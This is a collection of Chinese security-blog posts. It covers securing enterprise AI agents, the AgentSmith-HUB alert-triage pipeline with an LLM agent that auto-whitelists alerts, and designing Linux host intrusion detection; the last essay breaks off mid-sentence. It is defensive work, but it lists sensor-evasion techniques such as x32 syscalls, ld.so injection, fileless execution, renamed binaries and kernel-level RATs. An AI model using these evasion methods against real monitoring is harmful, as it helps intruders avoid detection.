企业级 Agent 安全构建指南

1. Skills 扫描

1.1 静态检测

• 针对 Skills 内脚本、二进制类文件生成 SBOM 清单，针对 SBOM 进行漏洞、投毒威胁情报检测；

• 针对 Skills 内脚本、二进制类文件进行传统 SAST 检测，对常见漏洞、硬编码等问题进行检测；

• 针对 Skills 内脚本、二进制类文件进行静态病毒检测或 HASH 威胁情报检测；

• 尝试针对关键系统调用位置进行提取，如文件、网络、进程操作。

相关开源工具：

• https://osv.dev/

• https://github.com/google/magika

• https://github.com/cisco-ai-defense/skill-scanner

• https://www.clamav.net/

• https://www.opengrep.dev/

• https://github.com/anchore/syft

恶意 Skills 样本：

• https://huggingface.co/datasets/yoonholee/agent-skill-malware

1.2 动态检测

• 在有探针的 Sandbox 内进行 Skills 加载操作，仅完成初始化部分，目的是针对可能的投毒危害进行检测，针对新增文件、网络请求进行分析，可以使用静态检测能力+外部威胁情报+人工审核的方式进行。

• 针对新增文件可以再进行静态检测。

1.3 LLM 分析

• 针对 Skills.md 和相关依赖进行意图分析，分析是否存在恶意意图；

• 外部依赖提取，针对如初始化、运行过程中的外部依赖进行提取，然后进入动态检测能力进行动态检测；

• 针对动、静态检测产出进行告警分析，误报消除+进一步研判；

• 针对 Skills 进行公司内部标准打 Tag 或分类分级。

2. Skills 准入

• 经过安全扫描的 Skills 需要进行签名后再上架，签名需要确保防止重打包；对应的 SBOM 等也应当按针对传统制品一样存储管理；

• 严格意义上讲，企业内 Agent 仅运行运行有内部签名的 Skills；

• Skills 除了签名外，也应该有完整的权限体系，虽然硬编码等问题已经在扫描阶段被解决了，但依然会存在敏感信息、非公开知识存在与 Skills 内，因此在除了签名外，也可以考虑针对高安全等级 Skills 进行加密；

• 个人 Skills 应当适当放开准入条件，即应该在如开发测试 Skills 、积累沉淀阶段加载未经签名的 Skills，这部分安全风险由后续能力进行兜底。

3. Agent 权限设计

• Agent 应接入公司 SSO/IAM（废话）；

• 租户、跨回话隔离；

• Memory 设计需要考虑 Skills 风险等级；

• Agent 运行不应仅仅考虑SSO权限，应当有类似企业网准入机制，即在安全的、可信的环境下被运行；

• Skills 若存在登陆需求（此时硬编码场景应当在扫描阶段识别并拒绝上架），应该由 Agent 封装对应的 Auth Tool，由对应 Auth Tool 调用对应的公司 SSO 鉴权、用户手动输入用户名密码或AKSK；应当尽量避免本地明文配置存储相关凭证（如果公司已经实现了 Passwordless 应当比较简单了）；

• 最终该场景下的权限应该都收敛成为 delegated/OBO(On-Behalf-Of) 或者 STS Gateway 方案，Agent 不需要管理和存储长期权限的 Token、AKSK，但是实际情况下需要有相对安全的兼容方案。

参考资料：

• https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth2-on-behalf-of-flow

• https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html

4. Agent Token Gateway 与 Token 存储

• Agent 如果在运行过程中需要管理大量敏感AKSK、Token，这部分不应该直接传入 Skills 上下文，而应该使用 Token Gateway 的方式进行使用，即：Skills -> HTTP Request -> Local Gateway -> Server；

• Local Token Gateway 需要实现根证书写入，Agent 设置代理指向该 Proxy，并按约定进行对 Token 进行标识，Gateway 通过中间人的形式对 Token 进行植入；

• Token 的实现这里也可以使用 SDK 的方式进行支持，但是考虑到内部 Skills 仓库会有大量外部 Skills 同步进来， SDK 方案不一定能有很好的兼容性，但是长期看 SDK -> 非MITM 的方案应该会更加稳定可靠，可以成为内部自建 Skills 的强制选择；

• 非 HTTP 场景需要考虑如何进行兼容（未调研）；

• Gatway 会成为攻击点，Gateway 应当仅接受 Agent 的调用，因此 Agent 到 Gateway 需要进行鉴权，由于 Gateway 需要被 Agent 拉起，可以通过证书校验 + 验证 Agent 初始化 Token 的方式完成；

• Gateway 需要有 Token 适用范围的白名单机制，避免攻击者诱导 Agent 将 Token 打给受攻击者控制的服务器从而导致 Token 泄漏；

• Gateway 需要支持 Forward Proxy Chaining，避免在 VPN、SASE 场景下不可用；

• Gateway 发出的请求需要在 HTTP Header 中有对应特征标识；

• Token 存储简单可以直接使用 OS Keychain，或者通过远端 KMS （过重且离线场景下不友好）。

参考资料：

• https://github.com/onecli/onecli

• https://github.com/zalando/go-keyring

5. Agent Sandbox

• 办公等通用场景无法使用容器化方案可以考虑进程级别方案，类似 Claude Code 的方案（Windows下会会退到 WSL）；

• 企业版和个人应用差异在于：企业版本部分动作是无法被加白的，一定需要人员确认，甚至需要人员进行 OTP 级别确认，这部分在安全意识培训中应当强调人和Agent的责任边界问题；（确认动作需要由Proxy和Sadnbox发起）；

• 需要针对不同的 Skills、系统操作进行细粒度的权限映射，即哪些默认有权限、哪些需要发起什么等级的人工确认；这部分也可以成为在 Skills 扫描 LLM 评估阶段的一个环节，但是也不能仅依赖 Skills 扫描，还需要有一些基础的内置策略；

• Sandbox 还有一部分很重要是需要按安全等级进行 Skills 环境隔离；

• 需要人员确认的部分应当支持多种方式，CLI内、IM BOT、审批等；

• 在企业应用场景下一些如直接浏览器操作是否应该禁止需要谨慎的内部评估；

• 持续的安全测试和对抗。

参考资料：

• https://github.com/anthropic-experimental/sandbox-runtime

• https://www.anthropic.com/engineering/claude-code-sandboxing

• https://code.claude.com/docs/en/sandboxing

6. Agent Auditing

• 针对 Agent 的关键行为应当有对应的 Auditing 能力，集中式存储并且需要满足合规审计要求；

• 针对 Agent Auditing Log 做入侵检测和UEBA检测；

• 也可以考虑内置安全 Skills，针对未签名 Skills 加载进行上报进行异步安全扫描、定期针对用户意图进行识别、定期针对 Skills 版本进行风险检查等工作；

• 企业 Agent 使用的模型应当仅支持使用公司内部采购或部署的 LLM；

• 对于公司知识产权保护有很强需求（仅仅签署保密协议不够）+ 本地部署LLM困难的公司可以寻找各云厂商的 AI机密计算 解决方案；

• 在对应的 LLM Gateway 上部署 LLM Guard 进行防护。

开源项目：

• https://github.com/QwenLM/Qwen3Guard

7. Agent 数据安全

• 在 Skills 意图识别阶段，如果需要处理大量生产数据，建议不允许在本地运行，仅允许在类似远端 Agent Server 进行，并针对原始数据经支持有限披露；

• 同时针对传统的数据安全工作的覆盖度、全面程度、IAM覆盖度等有了更高的要求，源头管理才是解决办法；数据分类分级工具也应该标准化成为服务可以在 Agent 侧进行使用；

• 针对数据外发操作可以引入安全 Skills 进行 Double Check，而不是仅仅依赖 Sandbox 权限。

本文主要面向的是构建企业级类 Claw Agent 时的主要安全场景和思考，应该还有不少缺漏、错误，欢迎大家指正讨论。

跳转微信打开

从单次 LLM Call 到 Learning Loop - AgentSmith-HUB 在安全运营的实践

1. 背景

在公司反入侵的建设中安全运营是极为关键的一环，安全运营工程师需要针对部署的各类安全产品的告警进行及时响应与研判。

但是各类入侵检测产品底层是各类黑名单策略、行为分析策略、ML 策略组成，如果策略质量较差那么会产生较多误报，且在告警准确度差的情况下，想要实现 7x24 小时的告警响应也是有困难的。

在 LLM 出现后，利用大模型的能力做告警运营是一个非常成熟的实践路径。

接下来将会给大家展示如何借助 HUB 从一开始的简单告警自动化研判的辅助操作，到自动化添加白名单排除误报，到最后的 Learning Loop 的设计和落地的。

2. 单次告警分析

AgentSmith-HUB 是一款 SDPP（Security Data Pipleline Platform）产品，即用该产品可以消费各类安全日志、安全告警，然后在该平台内进行统一的数据处理、规则配置、规则沉淀、告警响应的配置，优点是能够高性能的、统一的满足安全场景下的入侵检测规则制定、数据分析需求，统一使用 HUB 平台降低了大家各自开发工具或脚本带来的维护成本。

如图所示，我们通过 HUB 的配置可以消费多个 WAF 实例的告警（通过 HUB 的 INPUT 模块，可以消费如 Kafka、SLS 等这类日志通道），并进行统一的告警推送或单独针对某 WAF 实例进行特殊数据处理和分析后再进行告警推动。

因此面对告警运营的需求，我们首先设计了一个和 RULESET 同级别的组件：AGENT，这样我们可以直接在 HUB 数据流中引入 AGENT 作为一个数据处理单元：

我们新建了一个 'alert_review' AGENT 实例，让 AI 分析告警以及原始数据，并给出置信度评分和评估内容：

于是告警可以在 HUB 内先经过 'alert_review' AGENT 模块，输出的告警数据会增加 AI 的分析结果后再推送到群里，这样安全运营人员可以只评估高置信度的告警：

到这一阶段，基本完成了 AI 告警自动化 Review 的工作，根据 3 周的实际验证效果来看，置信度的分析整体还是比较准确的。

3. 自动化生成白名单

但是很快我们就发现：部分正常的操作且会触发低置信度的告警如果没有白名单的话每日告警量会很大，这会带来很多无效的告警进入 AI 进行评估浪费算力，我们思考应当让 AGENT 具备自动化针对低置信度告警添加白名单的功能。

首先 HUB 支持自定义插件功能，该插件一般会在 RULSET 规则引擎组件使用，实现复杂策略、告警自动化响应等功能，我们将插件能力也抽象出来，允许 AGENT 调用，实现 AGENT TOOLS 的效果。

另一方面，我们也新增了 SKILLS 组件，该组件可以挂载在 AGENT 下，渐进披露。

于是首先，我们在告警 Review 链路中增加了一个专门做白名单的 RULESET，在 AGENT 前面，告警如果不被白名单匹配，才会继续向后到 'alert_review' AGENT 进行告警的分析：

然后我们新增了一个插件：addRule，该插件可以实现向 RULSET 添加规则：

由于 HUB RULESET 是有特定语法约束的，于是我们添加了特定的 SKILL：hub_ruleset_expert，AGENT 可以通过该 SKILL 知道如何正确的编写一条 RULE：

于是我们重新设计了'alert_review' AGENT 流程，并从一开始仅做告警分析变成了：

告警置信度分析，0-1；
告警的置信度如果低于 0.2，那么调用 'hub_ruleset_expert' SKILL 生成对应白名单；
通过调用'addRule' 工具进行自动化添加白名单。

最后，我们不希望 AGENT 的所有操作都是黑盒完成的，我们增加了 Agent Logs 功能，可以看到 AGENT 的每次调用细节：

至此，我们借助 AI 的能力，完整完成了告警分析、自动化添加白名单的动作：

(自动添加的白名单)

4. Learning Loop

但是这依然不够，AI 能力虽强，但是依然会有操作不够优雅的情况，并且 AI 也不能完全掌握公司内的各种业务信息，很容易在告警研判、白名单生成方面有误判，人类的介入还是必要的，我们基于该需求进行了进一步设计。

我们针对 Agent Logs 增加了一个功能：Comments，允许安全工程师针对每次 Agent 调用进行评论，并且在 HUB 底层开发了一个专门分析 Comments 和生成 Memory 的 Agent：

当安全工程师发现 Agent 存在误判等其他问题时，我们可以在对应的操作下进行评论，HUB Memory Agent 会针对评论以及当前操作的上下文进行分析，提取出约束性的 Memory，追加到 Agent 内，Memory 会在 Agent 每次调用的时候都追加进去，这样简单的设计就完成了：评论-生成 Memory-注入到 Agent 运行时 的效果，实现了极简化的 Learning Loop 的效果。

5. 总结

该告警运营机制极大地减少了安全运营的工作，安全运营工程师长期头疼的误报问题得到了极大的缓解，每日研判的告警数量从一开始的几十到个位数，而 Learning Loop 也确保该功能并不是一个玩具属性的功能，而是可以持续提升准确度的生产可用的功能；Tools、Skills 的能力也赋予了 Agent 更多的可能，当 Agent 可以通过 Tools、Skills 获取更多外部信息来辅助判断告警的时候，准确度也会得到进一步的提升，甚至未来也完全可以完成一些基础的应急响应操作。

项目地址：https://github.com/EBWi11/AgentSmith-HUB

文章中使用的Skills、Agent、Tools均已开源。

跳转微信打开

AgentSmith-HUB v0.1.9 更新说明

1. 新增 Agent 模块

• 新增 Agent 模块，支持直接在 Project 内引用：

（开启该功能需要在HUB Config 内添加 llm_api_key、llm_base_url、llm_model 配置项）

• 新增 Skill 模块，支持在 Agent 内引用，渐进披露，目前内置了 hub_ruleset_expert skill，可以指导 Agent 生成 HUB Rule：

• Agent 模块支持调用 Plugin，新增了 addRule 插件，支持 Agent 调用该插件对某 Rueleset 新增 Rule：

• 新增 Agent Log 模块，可以通过该功能查看 Agent 完整调用链路：

• Agent Log 模块支持评论，评论后会调用 HUB 内置的 Memory Agent 总结并对评论的 Agent 追加注入 Memory，实现 Agent 的持续自动化优化：

(评论后会自动生成 Memory 并会自动重启 Agent 模块)

2. Agent 模块实践案例

该实践案例是通过引入 Agent 模块针对告警进行置信度打分和自动化添加白名单。

• Project 整体结构如下，其中 cwpp_whitelist 为白名单模块：

• Agent 内容如下，该 Agent 主要功能是针对告警进行分析置信度，针对置信度低 0-0.2 的调用 hub_ruleset_expert skill 生成白名单策略，然后通过 addRule 插件进行自动化加白处理：

• 我们可以通过针对 Agent Log 评论进行自动化生成 Memory 从而实现持续的自动化优化。

3. 其他优化和修复

• Ruleset 更新支持热加载，不再需要重启整个 Project；

• 彻底将 Sidebar 和主区域分开，视为两个单独区域，优化整体前端体验；

• 修复多个 Bug，提升用户和交互体验。

4. 项目地址

https://github.com/EBWi11/AgentSmith-HUB

跳转微信打开

AgentSmith-HUB v0.1.8 更新说明

性能提升

对比早期版本在相同 Project 的测试条件和相同的硬件（2vCPUs）条件下，TPS 从 4 万/秒 提升到 390 万/秒，内存从 350MB 减少到 80MB。

新增行为序列检测能力

Ruleset 引入了 <sequence> 语法，原生支持单数据流或跨数据流且乱序数据的行为序列、CEP 检测。

示例1：

另外<event>内可以使用全功能的<check>、<checklist>、<threshold>，更多详情介绍请移步 Github 相关文档。

build-in 插件新增llmCall

支持在引擎 check、append 中直接调用 llm 能力。

引入 smith_agent 模块

引入 smith llm agent，现阶段内置数据分析专家、HUB 规则编写专家两个 agent，数据分析专家目前会针对 Input 数据进行定期分析，进行数据分类、字段含义解析等工作。后续会继续在 HUB 基础上扩展更多 Agent 能力。

其他更新

1. Ruleset 支持文件夹：

2. Output 增加了 ClickHouse 输出选项；

3. 增加了针对 K8s Auditing Log 开箱即用的基线检查和入侵检测的策略集；

4. 修复多个 BUG。

项目地址

https://github.com/EBWi11/AgentSmith-HUB

阅读原文

跳转微信打开

招高级应用安全工程师

职位描述

1. 负责整体 SDL 体系建设，负责应用安全相关产品(如黑盒、白盒、灰盒等)的设计实现与推进工作

2. 参与公司的应用安全运营工作

3. 参与后续公司移动端安全能力建设

职位要求

1. 3 年以上复杂业务场景下的应用安全落地经验，深入理解 SDL/DevSecOps 理念与实践

2. 熟悉常见应用安全漏洞、原理，具备长期动手执行验证和处置能力

3. 熟悉常见应用安全工具能力包括但不限于黑盒、白盒、灰盒扫描工具、WAF、RASP 等

4. 有 Web 白盒审计经验，并且熟练使用至少一种以上常用白盒扫描工具如 CodeQL、Fortify、Semgrep 等

5. 了解 Android、IOS 客户端对抗知识，具备一定的移动端逆向分析、动态调试、协议抓包、HOOK 实践经验

6. 熟悉至少一门高级开发语言

7. 具备 Vibe Coding、Agent、Skills、MCP 等大模型相关技术者优先，我们期待能与你共同探索利用 AI 重塑安全研发与运营流程

欢迎自荐或推荐，简历请发送至：willchen@moonton.com

阅读原文

跳转微信打开

https://github.com/EBWi11/AgentSmith-HUB

1. 项目地址

https://github.com/EBWi11/AgentSmith-HUB 

2. 项目介绍

AgentSmith-HUB 是一款 SDPP（Security Data Pipeline Platform）和规则引擎产品。具有高性能，支持分布式，支持自定义插件等能力，能满足企业安全团队的数据处理、日志分析、告警富化、多平台联动、入侵检测引擎等需求。

3. 部分功能展示

Dashboard:

Input Connect Check:

Rule Edit:

Rule Test:

Project Edit:

Project Test:

Plugin Test:

Search:

Errlog:

Operations:

MCP:

5. 开源协议

Apache 2.0 以及补充条款，补充条款限制商用，具体请查看项目内License。

阅读原文

跳转微信打开

帮好友转发，招聘Linux EDR同学，感兴趣的可以看看

阅读原文

跳转微信打开

本文主要系统性介绍在Linux平台下如何构建反入侵产品。

本文主要系统性介绍在Linux平台下如何构建反入侵产品。

1. 整体设计

目前主流的方案还是基于Agent的方式，Agentless的限制比较明显。即Agent运行在端上负责数据采集、部分恶意行为判断和响应能力等，后端负责Agent管理和数据处理来发现恶意行为。

整体不详细展开，主要写一些设计过程中需要关注的问题或主要的设计思路。

1.1 Agent

• 端上CPU/内存/IO限制；

• 关键指标与监控数据的采集与上报，如TPS/CPU/MEM/磁盘IO/网络IO的占用情况等，便于监控和自证；

• 容器环境的适配，这部分主要会影响数据采集的质量，比如K8s下最好能关联到Pod和镜像信息，并且还有很多数据采集可能会需要进入到容器环境内进行，比如资产，弱口令，关键配置等；

• 不同发行版、CPU架构与新老版本内核和发行版版本的兼容与测试：

• 一方面是不同环境下可能部分功能实现就不一致，比如包管理不同导致的资产采集和文件完整性校验的实现差异；

• 还有一方面是可能存在的Agent本身的依赖问题，比如对openssl的依赖，对libc的依赖，这些依赖是否存在版本的要求的问题，是否要选择全静态编译。

• 不同Region以及内外网环境的适配，这个需要结合部署环境与实际情况综合判断；

• 自升级与插件升级能力，目前大部分应该都会设计成插件的模式，主要需要看是否支持Agent自升级和插件升级并且如何实现，延伸的问题是是否需要精细化的管理，比如不同的机器有不同的插件版本和插件配置，这部分需要更仔细的设计每个Agent的配置管理部分；自升级可能有些公司是不允许的，需要通过统一的包管理和包升级走。

• 通信加密性以及自保护能力，是否需要针对常见的kill，system stop或者离线掉线做检测或针对性的对抗；

• Agent本身和插件的Crash或Error感知能力。

1.2 数据采集

• 笔者认为以目前的对抗强度，目前的最佳方案一定是通过内核态进行数据采集，尤其是eBPF出现后；

• 主要的在内核态的Runtime数据采集范围还是围绕着：

• 进程：创建，权限变更，继承关系变更等；

• 文件：创建或打开，删除，更名，无文件，mount等；

• 网络：连接或被连接，端口监听，DNS等；

• 特殊权限：USB，Ptrace，Load Kernel Module等；

• 明确的攻击场景下的数据采集：端口扫描行为下的统计性数据采集，各种提权和常见的内核0day利用的内核函数调用采集。

• 内核态数据采集的技术方案比较明确：kprobe或tracepoint，应该也可以基于LSM；

• 也有基于LD_PRELOAD或者uprobe的实现，这部分需要注意容器场景的支持问题；

• 确定采集数据后还需要确认具体hook函数，这里会有比较多的工作，拿网络连接举例，可以选择connect syscall，也可以选择tcp_connect，这里会有细微差异，比如是否能得到正确的返回值，是否支持有connect syscall调用的udp等；另外说一句，如果这里使用Auditd的方案做connect的数据采集，你会发现由于hook点过于前置（应该是LSM有阻断的需求）连源端口都无法获取，所以具体的hook点的选择和组合很重要；

• 在这个过程中需要尽可能的了解目前方案的边界在哪里，比如rawsocket或无connect的udp请求可能无法被以上的hook点采集到，如何需要覆盖成本可能会很高，这里需要不断平衡这些问题，并且需要明确的清晰的了解这些能力边界和差异；

• 兼容性依然是很重要的问题，不同CPU架构和不同内核版本下的差异需要被重点关注，还有一些非主流的函数容易被忽略，如ia32；

• 还需要确认采集的是具体的采集字段，这部分主要分为两部分：

• 基础信息：负责标识进程或数据关联，如：PID，EXE，SID，PGID，COMM，CMDLINE，容器信息等；

• 支撑检测信息：不同的采集点不一样，负责该采集点对应的检测工作，比如connect下的5元组信息等；

• 这部分数据可以参考一些知名的开源方案或者逆向一些商业化产品进行学习，琢磨每个字段或者每个采集点的作用，然后不断结合自己的场景和积累进行迭代。

• 需要支持热更新的白名单，这点非常重要，在尽可能早的阶段将白名单内数据过滤来尽可能的降低其对于资源的占用，白名单可以是用户态计算完后传递给内核态进行过滤（比如在用户态计算完MD5或者其他复杂匹配后传到内核态的只是PID LIST等）；

• 采集频率的限制，降级与熔断方案，其中不仅需要有整体的降级或熔断方案，也需要有针对不同极端场景下的方案，如高open/udp/connect等场景可以关闭对应的hook点；

• 其他数据采集：

• 登陆日志；

• History：按需，针对build-in bypass execve场景；

• 各维度的资产数据：用户，进程列表，端口列表，包管理数据，中间件，数据库，定时任务，System Service等等，这部分就不赘述了；

• 合规和基线相关，漏洞检测相关，弱口令检测相关。

1.3 服务端

• 服务端整体的高可用设计，降级方案，配套的监控与应急能力；

• 各组件的横向扩容能力；

• 不同Region以及内外网环境的适配；

• Agent管理能力，相关配置变更与变更管理能力；

• 关键数据的统计能力，一方面便于做整体的评估，另一方面可以做一些诸如自动调整端上白名单的工作。

1.4 策略引擎

• 有状态和无状态以及CEP场景的策略建设需求的满足，自定义函数，离线计算场景支持，流+离线计算场景支持；

• 高性能；

• 其他能力，如策略的灰度发布，namespace的支持，细粒度的监控，策略debug能力，横向扩容支持等等，即需要满足好用且易用，多人场景下好用且易用。

2. 策略建设

2.1 静态检测

通过签名特征或者静态特征检测，目前主流还是会结合动态行为进行准实时检测，比如结合open或者create file再追加静态检测插件进行扫描。

因为静态策略建设比较依赖积累，这部分特征库一般可以选择开源裁剪（如clamav），或者外部采购商业检测引擎以及采购威胁情报。

自建可以考虑通过：

• 大规模外网蜜罐+自动化或半自动化提炼关键特征+人工校准；

• 购买恶意样本+自动化或半自动化提炼关键特征+人工校准；

• 构建动静态沙箱+Agent无差别上传未见过文件，这个比较暴力，但是是传统杀软和云厂商乃至微软都在采用的方案。

长期看不仅仅要建立各种动态静态策略，更重要的是要建立内部对于的各种样本、家族、手法分析能力和方法，并且能够不断的沉淀下来，这可以帮助我们感知不同纬度的攻击者的手法和创新，来不断的提高整体的检测能力。

2.2 基本策略

我给基本策略的定义是：即基于单一数据就可以判断该行为为恶意的策略，比如一些基本的反弹shell，常见RAT行为特征，常见的恶意工具特征，常见挖矿蠕虫特征等等，除此之外还有一些简单的无状态频率检测，如爆破，扫描等。

这里可以根据ATT&CK和自己内部的归纳方法先进行攻击手法的收集归类和自动化验证工具的准备，再逐步进行策略的编写，并且需要长期查漏补缺。

2.3 行为序列检测

在高级的对抗中往往很难通过基本策略进行检测，这一部分是因为服务器端有些时候已经是攻击的末端了，攻击者可能已经可以通过合法身份的渠道登陆到服务器上进行一些操作了，另一方面更高明的攻击者也会有尽量降低暴露自己的可能，直接使用常见RAT或者反弹shell等操作并不是一个好的选择。

因此无论是什么场景的入侵检测产品，最终的目的是希望通过引擎+算法+策略实现对于行为本身的理解，然后再进行判断。

那么多个弱告警+告警关联+综合打分是一个比较容易想到的方案。

基本策略需要考虑误报问题，其策略编写主要侧重针对恶意行为所特有的特征，因此对于准确度和误报率是有较高要求的，而弱告警策略构建因为不需要考虑到误报问题，比如cat xxx.conf可以说是 Discovery行为，但是更多可能性是运维或研发同学的正常操作，不过没有关系，可以编写一个分数较低的弱告警策略。弱告警策略的编写方式就是针对ATT&CK的行为在不用考虑误报的情况下进行策略编写，力求全面而非准确，再举一些例子，比如tmp下创建文件，判断是否处于容器环境，java/php等web常见进程派生进程，访问配置文件，查找敏感配置，查看各种基础信息等。

我们有了自己的弱告警规则后，再基于进程，文件等关联关系将不同的告警进行关联，再进行聚合打分。

在早期的版本中，我们是混沌匹配的，即如果我们有3条来自同一进程派生的弱告警，并且有一个最基本的顺序性（比如符合 Initial Access -> Discovery的顺序性），那么会进行对应的弱告警累计并与告警阈值进行对比，如果高于则产生告警。注意这里实际上是不考虑弱告警与弱告警之间的逻辑的。该方案整体误报较高，可解释性较差，但是确实可以发现一些基本策略无法发现的恶意行为。

随着我们在这个方向的深入，我们发现比较明确的行为序列可以更好的降低混沌方案的缺点，因此相对窄化的但是明确的存在内在逻辑的弱告警关联方案逐步替代了之前的混沌方案。

行为序列检测（即通过跨越时空和主体，并通过多个明确的弱告警组合进行检测）带来了很好的可解释性，具体的行为序列需要从具体的攻击case中提炼，也可以从蜜罐中进行半自动化的提炼。比如：

• 从外网下载程序到tmp->给该文件可执行权限->运行该文件后，该文件访问多个内网服务器端口；

• 连续访问多个的系统配置->访问known_hosts->登陆其他内网服务器并且登陆成功；

• 多个web服务派生的行为触发弱告警。

提升行为序列检测能力需要：

• 场景的不断补充与提炼；

• 提升行为间关联能力：仅通过进程是不足的，如A进程写入定时任务，定时任务运行的场景；

• 跨机的关联场景，这部分可能收益比较低；

• 跨长周期的关联能力。

需要注意的是行为序列检测需要规则引擎支持CEP，并且可以引入一些基准数据来影响单个告警的分数权重，比如x%的历史时间或相同镜像业务没有该行为，则该告警的分数 = 基础分数 * (1-x%) *100等（公示瞎写的）。

这里有一个没有来得及实践的问题，即局部的混沌是否会带来更好的检测效果？

关于行为序列检测我们还可以基于大量的公网蜜罐数据进行行为序列自动化学习和生成，然后通过人工评估和生产环境灰度后再发布策略，这样可以大大提升对于新型恶意行为的捕获能力。

2.4 异常检测

异常检测不是一个新鲜概念了，在几年前伴随着机器学习大热的时候热过一段时间，早期方案是比较暴力的针对部分类型的原始数据进行全量的异常检测，但是效果不好，性能差，可解释性差，误报高。

第二个阶段是通过对行为进行打标，然后再进行传统的异常检测（异常点检测或者分类），这个思路本质是通过标签让机器更加理解行为。

这个方案的Demo效果是不错的，恰好Demo出来没多久ChatGPT3.5就发布了，基于LLM对行为进行自动化打标极大的提高了效率，最后的检测部分还是选择了传统的异常检测算法进行，以便提高效率并且更好的调整告警阈值。

具体的标签化例子：

• 网络访问可以给以下标签：内网，外网，常见应用服务端口，常见存储服务端口，或者直接联动CMDB给业务归属标签等等；

• 普通的进程创建可以给以下标签：文件管理命令，系统管理命令，文本处理命令，网络管理命令，权限切换命令等等；

• 文件相关的：系统配置目录，临时目录，共享库目录， root 用户目录，系统日志目录等等；

• 其他：出现的概率，关联操作的人员属性（研发，测试，运维）等。

然后根据数据的各种操作对象，来源，进程树信息，特殊环境变量等等进行标签化，标签种类越多越好，然后通过LLM高效打标。

打好标签后再基于行为组为最小单位进行模型生成（可以选择一些传统的聚类或分类的机器学习方案），然后再用恶意行为进行测试来不断调整，注意这里需要基于一组行为序列进行训练和检测。

我们的Demo最后表现是可以将生产环境的抽样的数据分为100多类，并且对于已知的恶意行为有不错的区分度。

3 数据关联与响应能力

数据关联在行为序列检测和告警发生后基于告警数据对原始数据溯源有用到。

3.1 进程维度关联方案

Linux Process Group Session ID 是一个很好的选择，需要注意setsid会变更SID信息，简单场景下可以直接用SID作为溯源用Key，效果会明显好于PPID/PGID等其他ID。

由于任何Runtime数据都会采集SID，因此在告警溯源的场景下，仅使用告警数据的SID就可以非常方便的把一个该行为前后的进程、文件、网络、权限等行为进行关联，再对其进行基于时间的关联绘图将会非常实用。

3.2 溯源场景下的原始数据存储算法

在超大数据量并且有自研规则引擎的情况下，可以在规则引擎内集成一段时间的原始数据离线存储与查询能力：将SID作为唯一索引，保存为索引文件（近期的存储在内存中），原始数据的压缩文件和压缩字典进行分片保存，遇到需要进行查询的场景，先查询索引文件，如有匹配，再进行对应压缩文件的解压缩进行提取，可以参考下LSM-Tree方案。

这样的好处是可以实现非常高的存储和计算性能，压缩比可以做到很高，并且可以极大的减少存储成本的运维成本（私有化部署方便），并且这样相当于让规则引擎支持流数据处理的同时有了离线数据的处理能力，有了原生支持流+离线的能力，策略编写也会更加便利。

3.3 其他溯源场景

这里主要指告警后除了原始数据外的数据关联场景，目的是提升告警数据的丰富度和上下文，提高IR人员效率：

• 告警相关的登陆行为：如有进程树中有sshd，关联具体登陆日志；

• 告警相关进程是否存在高危漏洞信息，高危基线风险，弱口令风险；

• 告警相关进程来源排查，比如crontab，linux service等；

• 告警相关进程的容器信息关联：Pod信息，容器ID，镜像信息；

• 其他日志关联：相关应用日志关联，nginx accesslog关联，所属 crond 日志关联，所属 linux service 日志关联等；

• 其他安全产品关联：RASP，K8s Auditing，网络层安全产品等。

其中部分场景的数据需要从端上采集而非全量实时采集，如某Java进程产生某告警，Server需要调度Agent的数据采集插件对该进程的相关日志进行采集上报，比如采集告警前2分钟后5分钟的该进程日志，然后再告警详情页供IR人员查看。

这样不仅仅能有效的提高IR人员的效率，还能帮助IR人员查漏补缺。

无论是Runtime原始数据溯源还是其他数据溯源，最好可以提供整体的图关联展示+表格数据展示，便于IR人员观察和检索分析。

3.4 应急响应功能

• 提供最近服务器新增文件列表；

• 提供系统关键文件完整性校验；

• 提供ssh登陆记录，know hosts记录，登陆拓扑等；

• 提供人员操作记录（ssh登陆后的操作记录）；

• 提供定时任务和系统服务调用记录与关键日志；

• 提供有基础权限的可交互的伪shell，便于应急响应人员第一时间无需登陆服务器即可获取一些基础数据，比如支持/proc下可读，并且支持ps，top，ss等这类命令。

这部分最好可以设计在告警详情页面中以便IR同学快速查看。

3.5 主动防御

主动防御应该是针对100%确认的恶意的行为进行阻断，这里出现了1-2例误报就会让业务和安全工程师失去信心。

因此通过大量外部蜜罐数据明确了某些自动化攻击家族的pattern，再通过自动化+人工确认的方案提炼成行为序列检测策略，然后通过行为序列检测方法进行阻断，阻断后给出也可以恶意家族报告证明阻断的合法性，并且通过自动化的方式提升蜜罐数据到自动化阻断策略的效率。

还有一些比较强的特征比如明确的静态指纹特征，明确的挖矿/勒索/DDOS行为或静态文件特征，明确的基于内部情报的特征等可以使用。

总之不能基于普通的入侵检测策略进行阻断，应该要有非常强的阻断依据，目标应该是误报率为0%。

4. 高级对抗趋势

• 传统的致盲能力，如利用x32 syscall，udp，rawsorcket，icmp，build-in，elflodar，elf与so注入，绕过vfs，fileless等方式来避开常见hook点，从而实现从底层即数据采集层进行Bypass；

• Ring3层对抗也不断有新的技巧出现，比如几年前的orbit，通过修改ld.so实现恶意so的注入确实在传统HIDS层面比较难检测，可能需要在Agent侧引入类似https://github.com/mempodippy/detect_preload的方案来做检测；

• Ring0层RAT，传统的Linux R0 Rootkit重点在隐藏用户态恶意进程，文件，网络等行为，让安全产品或相关人员无法发现其行为，但是随着主机安全产品逐步都在通过各种内核态方案进行数据采集，并且也比较容易针对性检测，这种方式上会逐步失效。但是实际上在R0可以完成所有RAT需要的功能，不必依赖用户态的能力，比如：

该例子是在内核态实现了劫持指定连接并且实现接收控制者命令并执行然后基于劫持的连接返回执行结果的Case，从HIDS视角不会产生任何数据，用户态也不会有任何相关进程或后门文件。这种场景下如果投入足够高可以完美的避开所有主机安全的监控，并且可以完成非常丰富和复杂的功能。这部分的对抗成本非常高，而且不排除投毒的可能性，建议是先一步掌握主动权，即：内核模块需要签名才可以进入内核。

• Ring0层以下：笔者了解较少；

• 前置被入侵，相关导致权限丢失，导致横向移动到服务器端的行为从HIDS视角观察都是”正常“业务操作。

另外这里需要提一下，目前主机端的策略建设都太过于依赖进程创建了，很多场景下可能简单的mv bash abc或者mv nmap 123然后再执行相关操作都可以实现Bypass，这里我觉得可能是所有策略建设同学都需要思考的问题，一方面在实际生产环境确实不可能无限增加hook点来不断提升行为感知的覆盖率，另一方面各种针对绕过Execve的情况也越来越多，我之前有设想过一个方案：

